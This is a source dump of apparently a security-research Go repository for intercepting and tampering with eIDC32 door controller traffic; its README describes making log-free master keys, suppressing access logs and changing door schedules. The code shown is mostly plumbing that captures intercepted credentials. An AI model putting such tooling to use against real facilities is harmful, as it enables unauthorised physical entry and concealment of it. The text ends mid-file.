├── point.go ├── card.go ├── client ├── doc.go ├── personality.go └── client.go ├── display ├── display.go ├── tvDisplay_test.go ├── dumpFirstDisplay.go └── tvDisplay.go ├── .gitignore ├── event_test.go ├── go.mod ├── inject_test.go ├── session_test.go ├── message_intellim_test.go ├── README.md ├── message_eidc32_test.go ├── updatesession.go ├── aggregator └── aggregator.go ├── go.sum ├── cmd ├── eidc32proxy │ └── main.go ├── sharkjack_master_key │ └── main.go ├── cloudkey_master_key │ └── main.go ├── eidc │ └── main.go └── eidcswarm │ └── main.go ├── http_test.go ├── server.go ├── certificate_test.go ├── certificate.go ├── mangle.go ├── http.go ├── pager.go ├── event.go ├── impersonate_test.go ├── message_intellim.go ├── impersonate.go ├── inject.go ├── message_common.go └── message_common_test.go /point.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | type point uint8 4 | -------------------------------------------------------------------------------- /card.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | type Card struct { 4 | SiteCode int 5 | CardCode int 6 | } 7 | -------------------------------------------------------------------------------- /client/doc.go: -------------------------------------------------------------------------------- 1 | // Package client provides functionality for simulating an eIDC 2 | // IntelliM client. 3 | package client 4 | -------------------------------------------------------------------------------- /display/display.go: -------------------------------------------------------------------------------- 1 | package display 2 | 3 | type Display interface { 4 | // Run the display. 5 | Run() 6 | 7 | // ErrChan returns a channel on which the display will send errors 8 | ErrChan() chan error 9 | 10 | // Stop stops the display 11 | Stop() 12 | } 13 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | .idea/ 15 | *.pem 16 | cmd/eidc32proxy/eidc32proxy 17 | -------------------------------------------------------------------------------- /event_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestString(t *testing.T) { 8 | testData := []EventType{50, 32818, 0, 32768} 9 | expected := []string{"Authentication_UnknownCard", 10 | "(Authentication_UnknownCard)", 11 | "Unknown_Event_Type", 12 | "(Unknown_Event_Type)", 13 | } 14 | for i := range testData { 15 | result := testData[i].String() 16 | if result != expected[i] { 17 | t.Fatalf("expected %s, got %s", expected[i], result) 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/chrismarget/eidc32proxy 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/chrismarget/cloudkey-led v0.0.0-20200721044153-23369af69833 7 | github.com/chrismarget/terribletls v0.0.0-20191107193028-244dc9b26ac7 8 | github.com/gdamore/tcell v1.3.0 9 | github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381 10 | github.com/mattn/go-runewidth v0.0.9 // indirect 11 | github.com/rivo/tview v0.0.0-20200414130344-8e06c826b3a5 12 | golang.org/x/crypto v0.0.0-20191106202628-ed6320f186d4 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /inject_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "bytes" 5 | "log" 6 | "testing" 7 | ) 8 | 9 | func TestHeartBeat(t *testing.T) { 10 | expected := 11 | "GET /eidc/heartbeat?password=admin&seq=0&username=admin HTTP/1.1\r\n" + 12 | "Host: 192.168.6.40\r\n" + 13 | "User-Agent: eIDCListener\r\n\r\n" 14 | msg, err := NewHeartbeatMsg("admin", "admin") 15 | if err != nil { 16 | t.Fatal(err) 17 | } 18 | result, err := msg.Marshal() 19 | if err != nil { 20 | log.Println("got an error") 21 | t.Fatal(err) 22 | } 23 | 24 | if !bytes.Equal(result, []byte(expected)) { 25 | t.Fatalf("unexpected result") 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /session_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestCanonicalizeHost(t *testing.T) { 8 | testdata := []string{ 9 | "foo", 10 | "foo.bar", 11 | "foo:1", 12 | "foo.bar:1", 13 | "foo1", 14 | "foo1.bar1", 15 | "foo1:1", 16 | "foo1.bar1:1", 17 | } 18 | expected := []string{ 19 | "foo:443", 20 | "foo.bar:443", 21 | "foo:1", 22 | "foo.bar:1", 23 | "foo1:443", 24 | "foo1.bar1:443", 25 | "foo1:1", 26 | "foo1.bar1:1", 27 | } 28 | for i := range testdata { 29 | result := canonicalizeHost(testdata[i]) 30 | if result != expected[i] { 31 | t.Fatalf("canonicalization fail - got '%s', expected '%s'", result, expected[i]) 32 | } 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /message_intellim_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import "testing" 4 | 5 | func TestParseDownloadRequest(t *testing.T) { 6 | testData := "" + 7 | "POST /eidc/download?username=admin&password=admin&seq=24 HTTP/1.1\r\n" + 8 | "Host: 192.168.6.40\r\n" + 9 | "User-Agent: eIDCListener\r\n" + 10 | "Content-Type: application/binary\r\n" + 11 | "Content-Length: 17\r\n" + 12 | "\r\n" + 13 | "this is some data" 14 | expected := []byte("this is some data") 15 | msg, err := ReadMsg([]byte(testData), Southbound) 16 | if err != nil { 17 | t.Fatal(err) 18 | } 19 | if msg.Type != MsgTypeDownloadRequest { 20 | t.Fatalf("expected %s, got %s", 21 | MsgTypeDownloadRequest.String(), 22 | msg.Type.String()) 23 | } 24 | if msg.Request == nil { 25 | t.Fatal("request field must not be nill") 26 | } 27 | result := msg.ParseDownloadRequest() 28 | if len(result) != len(expected) { 29 | t.Fatalf("got %d bytes, expected %d bytes", 30 | len(result), 31 | len(expected)) 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # eidc32proxy 2 | 3 | This project includes library code and sample applications for interacting with 4 | Stanley/3xLogic/Infinias eIDC32 door controller / badge reader devices and the 5 | Intelli-M server which manages them. 6 | 7 | The capabilities of this repository were [demonstrated at DEFCON 28](https://www.youtube.com/watch?v=ghiHXK4GEzE&t=5595s) 8 | by friends [Babak Javadi](https://twitter.com/babakjavadi) and [Iceman](https://twitter.com/herrmann1001). 9 | 10 | The library has three major components: 11 | 12 | - An eIDC32 client emulator 13 | - An Intelli-M server emulator 14 | - A flexible proxy with a mangle feature (think: iptables jump-to-mangle-chain) 15 | which supports insertion/suppresion/modification of upstream and downstream 16 | messages. Using the proxy mangle capability, you can create log-free master 17 | keys, suppress log events, change door schedules, etc... 18 | 19 | There are a handful of sample applications in the `cmd/` directory. 20 | `cloudkey_master_key` is the one demonstrated in the DEFCON presentation. 21 | -------------------------------------------------------------------------------- /message_eidc32_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestParseControllerLogin(t *testing.T) { 8 | testData := `{"serialNumber":"0x000000123456", "firmwareVersion":"3.4.20", "ipAddress":"172.16.50.50", "macAddress":"00:14:E4:12:34:56", "siteKey":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx", "configurationKey":"", "cardFormat":"short"}` 9 | _, err := parseControllerLoginBytes([]byte(testData)) 10 | if err != nil { 11 | t.Fatal(err) 12 | } 13 | } 14 | 15 | func TestParseDoor0x2fLockStatusResponse(t *testing.T) { 16 | testData := 17 | "HTTP/1.0 200 OK\r\n" + 18 | "Server: eIDC32 WebServer\r\n" + 19 | "Content-type: application/json\r\n" + 20 | "Content-Length: 70\r\n" + 21 | "Cache-Control: no-cache\r\n" + 22 | "\r\n" + 23 | `{"result":true, "cmd":"DOOR/LOCKSTATUS", "body":{"status":"Unlocked"}}` 24 | expected := "Unlocked" 25 | msg, err := ReadMsg([]byte(testData), Northbound) 26 | if err != nil { 27 | t.Fatal(err) 28 | } 29 | msgType := msg.GetType() 30 | if msgType != MsgTypeDoor0x2fLockStatusResponse { 31 | t.Fatalf("expected %s", MsgTypeDoor0x2fLockStatusResponse.String()) 32 | } 33 | dlsr, err := msg.ParseDoor0x2fLockStatusResponse() 34 | if err != nil { 35 | t.Fatal(err) 36 | } 37 | if dlsr.Status != expected { 38 | t.Fatalf("expected %s, got %s", expected, dlsr.Status) 39 | } 40 | } 41 | 42 | func TestMessage_ParseAddFormatsResponse(t *testing.T) { 43 | testData := 44 | "HTTP/1.0 200 OK\r\n" + 45 | "Server: eIDC32 WebServer\r\n" + 46 | "Content-type: application/json\r\n" + 47 | "Content-Length: 62\r\n" + 48 | "Cache-Control: no-cache\r\n" + 49 | "\r\n" + 50 | `{"result":true, "cmd":"ADDFORMATS", "body":{"formatsAdded":3}}` 51 | expected := 3 52 | msg, err := ReadMsg([]byte(testData), Northbound) 53 | if err != nil { 54 | t.Fatal(err) 55 | } 56 | msgType := msg.GetType() 57 | if msgType != MsgTypeAddFormatsResponse { 58 | t.Fatalf("expected %s, got %s", MsgTypeAddFormatsResponse.String(), msgType) 59 | } 60 | afr, err := msg.ParseAddFormatsResponse() 61 | if err != nil { 62 | t.Fatal(err) 63 | } 64 | if afr.FormatsAdded != expected { 65 | t.Fatalf("expected %d, got %d", expected, afr.FormatsAdded) 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /display/tvDisplay_test.go: -------------------------------------------------------------------------------- 1 | package display 2 | 3 | import ( 4 | "github.com/rivo/tview" 5 | "testing" 6 | "time" 7 | ) 8 | 9 | func TestGetNext(t *testing.T) { 10 | var a, b, c int 11 | 12 | a = 0 13 | b = 0 14 | c = getNext(a, b, next) 15 | if c != 0 { 16 | t.Fatalf("should be zero") 17 | } 18 | c = getNext(a, b, previous) 19 | if c != 0 { 20 | t.Fatalf("should be zero") 21 | } 22 | 23 | a = 1 24 | b = 0 25 | c = getNext(a, b, next) 26 | if c != 0 { 27 | t.Fatalf("should be zero") 28 | } 29 | c = getNext(a, b, previous) 30 | if c != 0 { 31 | t.Fatalf("should be zero") 32 | } 33 | 34 | a = -1 35 | b = 0 36 | c = getNext(a, b, next) 37 | if c != 0 { 38 | t.Fatalf("should be zero") 39 | } 40 | c = getNext(a, b, previous) 41 | if c != 0 { 42 | t.Fatalf("should be zero") 43 | } 44 | 45 | a = 0 46 | b = 1 47 | c = getNext(a, b, next) 48 | if c != 0 { 49 | t.Fatalf("should be zero") 50 | } 51 | c = getNext(a, b, previous) 52 | if c != 0 { 53 | t.Fatalf("should be zero") 54 | } 55 | 56 | a = 1 57 | b = 1 58 | c = getNext(a, b, next) 59 | if c != 0 { 60 | t.Fatalf("should be zero") 61 | } 62 | c = getNext(a, b, previous) 63 | if c != 0 { 64 | t.Fatalf("should be zero") 65 | } 66 | 67 | a = -1 68 | b = 1 69 | c = getNext(a, b, next) 70 | if c != 0 { 71 | t.Fatalf("should be zero") 72 | } 73 | c = getNext(a, b, previous) 74 | if c != 0 { 75 | t.Fatalf("should be zero") 76 | } 77 | 78 | a = 0 79 | b = 2 80 | c = getNext(a, b, next) 81 | if c != 1 { 82 | t.Fatalf("should be one") 83 | } 84 | c = getNext(a, b, previous) 85 | if c != 1 { 86 | t.Fatalf("should be one") 87 | } 88 | 89 | a = 1 90 | b = 2 91 | c = getNext(a, b, next) 92 | if c != 0 { 93 | t.Fatalf("should be zero") 94 | } 95 | c = getNext(a, b, previous) 96 | if c != 0 { 97 | t.Fatalf("should be zero") 98 | } 99 | 100 | a = -1 101 | b = 2 102 | c = getNext(a, b, next) 103 | if c != 0 { 104 | t.Fatalf("should be zero") 105 | } 106 | c = getNext(a, b, previous) 107 | if c != 1 { 108 | t.Fatalf("should be one") 109 | } 110 | } 111 | 112 | func TestHb(t *testing.T) { 113 | hb := heartBeat{ 114 | tv: tview.NewTextView().SetTextAlign(tview.AlignCenter), 115 | } 116 | app := tview.NewApplication() 117 | go func() { 118 | for i := 1; i < 15; i++ { 119 | time.Sleep(250 * time.Millisecond) 120 | hb.beat(app, 0) 121 | } 122 | app.Stop() 123 | }() 124 | err := app.SetRoot(hb.tv, true).Run() 125 | if err != nil { 126 | t.Fatal(err) 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /updatesession.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "net/url" 5 | ) 6 | 7 | //updateSessionData updates the session struct based on the contents of the message 8 | func (o *Session) updateSessionData(msg *Message) error { 9 | switch msg.GetType() { 10 | case MsgTypeConnectedResponse: 11 | return o.updateSessionDataWithConnectedResponse(msg) 12 | case MsgTypeGetoutboundRequest: 13 | return o.updateSessionDataApiCredentials(msg) 14 | case MsgTypeGetoutboundResponse: 15 | return o.updateSessionDataWithGetoutboundResponse(msg) 16 | case MsgTypeSetWebUserRequest: 17 | return o.updateSessionDataWithSetWebUserRequest(msg) 18 | case MsgTypeEnableEventsResponse: 19 | return o.updateSessionDataWithEnableEventsResponse(msg) 20 | case MsgTypePointStatusRequest: 21 | return o.updateSessionDataWithPointStatusRequest(msg) 22 | case MsgTypeHeartbeatResponse: 23 | return o.updateSessionDataWithHeartbeatResponse(msg) 24 | default: 25 | return nil 26 | } 27 | } 28 | 29 | func (o *Session) updateSessionDataWithConnectedResponse(msg *Message) error { 30 | r, err := msg.ParseConnectedResponse() 31 | if err != nil { 32 | return err 33 | } 34 | if o.serverKeys[len(o.serverKeys)-1] != r.ServerKey { 35 | o.serverKeys = append(o.serverKeys, r.ServerKey) 36 | 37 | } 38 | return nil 39 | } 40 | 41 | func (o *Session) updateSessionDataApiCredentials(msg *Message) error { 42 | u, err := url.Parse(msg.Request.URL.String()) 43 | if err != nil { 44 | return err 45 | } 46 | 47 | values, err := url.ParseQuery(u.RawQuery) 48 | if err != nil { 49 | return err 50 | } 51 | 52 | o.apiCreds = UsernameAndPassword{ 53 | username: values.Get(queryParamUsername), 54 | password: values.Get(queryParamPassword), 55 | } 56 | 57 | return nil 58 | } 59 | 60 | func (o *Session) updateSessionDataWithGetoutboundResponse(msg *Message) error { 61 | r, err := msg.ParseGetOutboundResponse() 62 | if err != nil { 63 | return err 64 | } 65 | o.getOutboundResponse = r 66 | return nil 67 | } 68 | 69 | func (o *Session) updateSessionDataWithSetWebUserRequest(msg *Message) error { 70 | r, err := msg.ParseSetWebUserRequest() 71 | if err != nil { 72 | return err 73 | } 74 | o.webCreds = UsernameAndPassword{ 75 | username: r.User, 76 | password: r.Password, 77 | } 78 | return nil 79 | } 80 | 81 | func (o *Session) updateSessionDataWithEnableEventsResponse(msg *Message) error { 82 | eventsEnabled, err := msg.ParseEnableEventsResponse() 83 | if err != nil { 84 | return err 85 | } 86 | 87 | o.eventsEnabled = eventsEnabled 88 | return nil 89 | } 90 | 91 | func (o *Session) updateSessionDataWithPointStatusRequest(msg *Message) error { 92 | ps, err := msg.ParsePointStatusRequest() 93 | if err != nil { 94 | return err 95 | } 96 | for _, p := range ps.Points { 97 | o.pointStatus[p.PointID] = p 98 | } 99 | return nil 100 | } 101 | 102 | func (o *Session) updateSessionDataWithHeartbeatResponse(msg *Message) error { 103 | o.heartbeats++ 104 | return nil 105 | } 106 | 107 | func (o *Session) HeartBeats() uint32 { 108 | return o.heartbeats 109 | } 110 | -------------------------------------------------------------------------------- /aggregator/aggregator.go: -------------------------------------------------------------------------------- 1 | package aggregator 2 | 3 | import ( 4 | "github.com/chrismarget/eidc32proxy" 5 | "sync" 6 | ) 7 | 8 | // An Aggregator learns about many sessions, subscribes to session events from 9 | // each. It serves as the interface to an end-user display and messsage inject 10 | // features. 11 | type Aggregator struct { 12 | lock *sync.Mutex 13 | // never delete from this map. it's keyed by size. 14 | session map[int]*eidc32proxy.Session 15 | saLock *sync.Mutex 16 | sessionAlerts map[chan int]struct{} 17 | } 18 | 19 | // NewAggregator creates a new session/message aggregator. Pass it a channel 20 | // that supplies new sessions from the server as they're created. 21 | func NewAggregator(newSessChan chan *eidc32proxy.Session) Aggregator { 22 | a := Aggregator{ 23 | lock: &sync.Mutex{}, 24 | session: make(map[int]*eidc32proxy.Session), 25 | saLock: &sync.Mutex{}, 26 | sessionAlerts: make(map[chan int]struct{}), 27 | } 28 | go a.handleSessions(newSessChan) 29 | return a 30 | } 31 | 32 | func (o *Aggregator) handleSessions(newSessChan chan *eidc32proxy.Session) { 33 | for newSession := range newSessChan { 34 | // Add the session to the aggregator's map[int]Session 35 | o.lock.Lock() 36 | i := o.size() 37 | o.session[i] = newSession 38 | o.lock.Unlock() 39 | 40 | // Update subscribers about the new Session 41 | o.saLock.Lock() 42 | for c := range o.sessionAlerts { 43 | c <- i 44 | } 45 | o.saLock.Unlock() 46 | 47 | } 48 | } 49 | 50 | // Size returns the number of sessions known to the aggregator 51 | func (o Aggregator) Size() int { 52 | o.lock.Lock() 53 | defer o.lock.Unlock() 54 | return o.size() 55 | } 56 | 57 | func (o Aggregator) size() int { 58 | return len(o.session) 59 | } 60 | 61 | // AddGarbate is a temporary hack to increase the size of the aggregator's session map 62 | func (o Aggregator) AddGarbage() { 63 | o.lock.Lock() 64 | defer o.lock.Unlock() 65 | i := o.size() 66 | o.session[i] = nil 67 | } 68 | 69 | // GetSession returns the specified session 70 | func (o Aggregator) GetSession(i int) *eidc32proxy.Session { 71 | o.lock.Lock() 72 | defer o.lock.Unlock() 73 | return o.session[i] 74 | } 75 | 76 | // SubscribeToSessionAlerts returns a channel on which subscribers learn the 77 | // aggregator index (int) of sessions, and a function which ends the 78 | // subscription. The channel starts by returning any existing index of any 79 | // sessions which exist when the subscription is created. Callers must take 80 | // care to call the function which ends the subscription. 81 | func (o *Aggregator) SubscribeToSessionAlerts() (chan int, func()) { 82 | // create the subscriber's channel 83 | c := make(chan int) 84 | 85 | // add the subscriber's channel to the map of subscriber channels 86 | o.saLock.Lock() 87 | o.sessionAlerts[c] = struct{}{} 88 | o.saLock.Unlock() 89 | 90 | // send all existing session indexes 91 | defer func() { 92 | for i := range o.session { 93 | c <- i 94 | } 95 | }() 96 | 97 | return c, func() { 98 | o.saLock.Lock() 99 | defer o.saLock.Unlock() 100 | delete(o.sessionAlerts, c) 101 | close(c) 102 | } 103 | } 104 | 105 | type SessionErr struct { 106 | ID int 107 | Err error 108 | } 109 | -------------------------------------------------------------------------------- /display/dumpFirstDisplay.go: -------------------------------------------------------------------------------- 1 | package display 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "github.com/chrismarget/eidc32proxy" 7 | "github.com/chrismarget/eidc32proxy/aggregator" 8 | "github.com/logrusorgru/aurora" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | type DumpFirstDisplay struct { 14 | agg aggregator.Aggregator 15 | errChan chan error 16 | stopChan chan struct{} 17 | running bool 18 | } 19 | 20 | // Run starts the display application running. It does not return except on 21 | // user exit or fatal error. 22 | func (o *DumpFirstDisplay) Run() { 23 | // don't start twice 24 | if o.running { 25 | o.errChan <- errors.New("display already running") 26 | } else { 27 | o.running = true 28 | } 29 | 30 | // end main by nil-ing the error channel 31 | // todo: does this work? 32 | defer func() { 33 | o.errChan <- nil 34 | }() 35 | 36 | sessIdx := o.firstSessionIndex() 37 | session := o.agg.GetSession(sessIdx) 38 | sessErrChan := session.SubscribeErr() 39 | msgChan, unSub := session.Pager.Subscribe(eidc32proxy.SubInfo{}) 40 | 41 | session.BeginRelaying() 42 | 43 | for { 44 | select { 45 | case msg := <-msgChan: 46 | printMsg(msg) 47 | case err := <-sessErrChan: 48 | o.errChan <- err 49 | case <-o.stopChan: 50 | unSub() 51 | return 52 | } 53 | } 54 | } 55 | 56 | func printMsg(msg eidc32proxy.Message) { 57 | now := time.Now().Format("01/02 15:04:05") 58 | // replace \r\n characters with printable \r\n, plus an actual newline 59 | msgText := strings.ReplaceAll(string(msg.OrigBytes()), 60 | "\r\n", "\\r\\n\n") 61 | // split on those newlines we just added 62 | msgLines := strings.Split(msgText, "\n") 63 | if len(msgLines[len(msgLines)-1]) == 0 { // Last slice index empty string? 64 | msgLines = msgLines[:len(msgLines)-2] // Trim off the last slice entry. 65 | } 66 | switch msg.Direction() { 67 | case eidc32proxy.Northbound: 68 | for _, s := range msgLines { 69 | if s != "" { 70 | fmt.Printf("%s\t%s\n", aurora.White(now), aurora.Red(s)) 71 | } 72 | } 73 | case eidc32proxy.Southbound: 74 | for _, s := range msgLines { 75 | if s != "" { 76 | fmt.Printf("%s\t%s\n", aurora.White(now), aurora.Blue(s)) 77 | } 78 | } 79 | } 80 | } 81 | 82 | //todo: this. shit. 83 | func (o *DumpFirstDisplay) ErrChan() chan error { 84 | var errChan chan error 85 | return errChan 86 | } 87 | 88 | func (o *DumpFirstDisplay) Stop() { 89 | 90 | } 91 | 92 | // NewDumpFirstDisplay returns an implementation of Display that dumps the 93 | // first eIDC32 session to the terminal. The output is color coded: 94 | // - upstream messages in red 95 | // - downstream messages in blue 96 | // - errors and timestamps in white 97 | // Line terminators 0x0A and 0x0D are rewritten as \n and \r, and line breaks 98 | // are inserted at these points for readability. 99 | func NewDumpFirstDisplay(sessChan chan *eidc32proxy.Session) *DumpFirstDisplay { 100 | var ntd DumpFirstDisplay 101 | ntd.errChan = make(chan error) 102 | ntd.stopChan = make(chan struct{}) 103 | ntd.agg = aggregator.NewAggregator(sessChan) 104 | return &ntd 105 | } 106 | 107 | func (o DumpFirstDisplay) firstSessionIndex() int { 108 | // subscribe to session index info 109 | newSessChan, end := o.agg.SubscribeToSessionAlerts() 110 | 111 | // Wait for first session index, then drop our subscription. 112 | i := <-newSessChan // get the first session index 113 | end() // unsubscribe from new session info 114 | 115 | // Now that we've unsubscribed, the channel should close. Drain any 116 | // remaining indexes that may be there so we don't block the writer. 117 | defer func() { 118 | for i := range newSessChan { 119 | sess := o.agg.GetSession(i) 120 | sess.BeginRelaying() 121 | } 122 | }() 123 | 124 | return i 125 | } 126 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/DATA-DOG/go-sqlmock v1.3.3/go.mod h1:f/Ixk793poVmq4qj/V1dPUg2JEAKC73Q5eFN3EC/SaM= 2 | github.com/chrismarget/cloudkey-led v0.0.0-20200719053135-98ce445a2bfc h1:qbhagIUnMsk61DBNHdgsYbkYLq3NKWoPUG8Zi7S2cvc= 3 | github.com/chrismarget/cloudkey-led v0.0.0-20200719053135-98ce445a2bfc/go.mod h1:iGrvyUReYyEaWy6pQzIevgK/FVz5egnt1dP2fvKfaRc= 4 | github.com/chrismarget/cloudkey-led v0.0.0-20200721044153-23369af69833 h1:0lskc+QBtvjbkrjuxiIeIcR2c5IK3yA9fnU67DrHdrg= 5 | github.com/chrismarget/cloudkey-led v0.0.0-20200721044153-23369af69833/go.mod h1:iGrvyUReYyEaWy6pQzIevgK/FVz5egnt1dP2fvKfaRc= 6 | github.com/chrismarget/terribletls v0.0.0-20191107193028-244dc9b26ac7 h1:ChrU16V/iwttCHIIXxo6aHc8xi4eRbSWaRQAFNWg510= 7 | github.com/chrismarget/terribletls v0.0.0-20191107193028-244dc9b26ac7/go.mod h1:MeilZ6AyjIKvQ78XUamLnXROycM5iUZtJDQYGepXSrs= 8 | github.com/gdamore/encoding v1.0.0 h1:+7OoQ1Bc6eTm5niUzBa0Ctsh6JbMW6Ra+YNuAtDBdko= 9 | github.com/gdamore/encoding v1.0.0/go.mod h1:alR0ol34c49FCSBLjhosxzcPHQbf2trDkoo5dl+VrEg= 10 | github.com/gdamore/tcell v1.3.0 h1:r35w0JBADPZCVQijYebl6YMWWtHRqVEGt7kL2eBADRM= 11 | github.com/gdamore/tcell v1.3.0/go.mod h1:Hjvr+Ofd+gLglo7RYKxxnzCBmev3BzsS67MebKS4zMM= 12 | github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381 h1:bqDmpDG49ZRnB5PcgP0RXtQvnMSgIF14M7CBd2shtXs= 13 | github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= 14 | github.com/lucasb-eyer/go-colorful v1.0.2/go.mod h1:0MS4r+7BZKSJ5mw4/S5MPN+qHFF1fYclkSPilDOKW0s= 15 | github.com/lucasb-eyer/go-colorful v1.0.3 h1:QIbQXiugsb+q10B+MI+7DI1oQLdmnep86tWFlaaUAac= 16 | github.com/lucasb-eyer/go-colorful v1.0.3/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= 17 | github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= 18 | github.com/mattn/go-runewidth v0.0.8/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 19 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= 20 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 21 | github.com/rivo/tview v0.0.0-20200414130344-8e06c826b3a5 h1:7Suev+ewwyOLkitf4/NTKQDMWfRCC6LNAt2p8H2goS4= 22 | github.com/rivo/tview v0.0.0-20200414130344-8e06c826b3a5/go.mod h1:6lkG1x+13OShEf0EaOCaTQYyB7d5nSbb181KtjlS+84= 23 | github.com/rivo/uniseg v0.1.0 h1:+2KBaVoUmb9XzDsrx/Ct0W/EYOSFf/nWTauy++DprtY= 24 | github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= 25 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 26 | golang.org/x/crypto v0.0.0-20191106202628-ed6320f186d4 h1:PDpCLFAH/YIX0QpHPf2eO7L4rC2OOirBrKtXTLLiNTY= 27 | golang.org/x/crypto v0.0.0-20191106202628-ed6320f186d4/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 28 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 29 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 30 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= 31 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 32 | golang.org/x/sys v0.0.0-20190626150813-e07cf5db2756/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 33 | golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4 h1:sfkvUWPNGwSV+8/fNqctR5lS2AqCSqYwXdrjCxp/dXo= 34 | golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 35 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 36 | golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= 37 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 38 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 39 | -------------------------------------------------------------------------------- /client/personality.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "crypto/rand" 5 | "encoding/hex" 6 | "fmt" 7 | mathrand "math/rand" 8 | "net" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | // RandomSiteKey generates a site key string in GUUID format. 14 | func RandomSiteKey() (string, error) { 15 | b := make([]byte, 16) 16 | _, err := rand.Read(b) 17 | if err != nil { 18 | return "", err 19 | } 20 | return fmt.Sprintf("%x-%x-%x-%x-%x", 21 | b[0:4], b[4:6], b[6:8], b[8:10], b[10:]), nil 22 | } 23 | 24 | // RandomServerKey generates a random server key string. 25 | func RandomServerKey() (string, error) { 26 | b := make([]byte, 8) 27 | _, err := rand.Read(b) 28 | if err != nil { 29 | return "", err 30 | } 31 | return hex.EncodeToString(b), nil 32 | } 33 | 34 | // RandomInternalIPv4Address generates a random IPv4 address that might appear 35 | // in an internal network. 36 | func RandomInternalIPv4Address() (net.IP, error) { 37 | randomByte := func(allowZero bool) (byte, error) { 38 | for { 39 | b := make([]byte, 1) 40 | _, err := rand.Read(b) 41 | if err != nil { 42 | return 0, err 43 | } 44 | if !allowZero && b[0] == 0 { 45 | continue 46 | } 47 | return b[0], nil 48 | } 49 | } 50 | 51 | lastByte, err := randomByte(false) 52 | if err != nil { 53 | return nil, err 54 | } 55 | 56 | nets := [][]byte{ 57 | {10, 0, 1}, 58 | {10, 0, 2}, 59 | {172, 16, 1}, 60 | {192, 168, 1}, 61 | } 62 | 63 | randomNetsIndex := mathrand.New(mathrand.NewSource(time.Now().Unix())).Intn(len(nets)) 64 | 65 | return net.IPv4(nets[randomNetsIndex][0], nets[randomNetsIndex][1], nets[randomNetsIndex][2], lastByte), nil 66 | } 67 | 68 | // MostlyRandomMAC generates a MAC address that begins with the eIDC vendor OUI 69 | // and ends with randomly generated 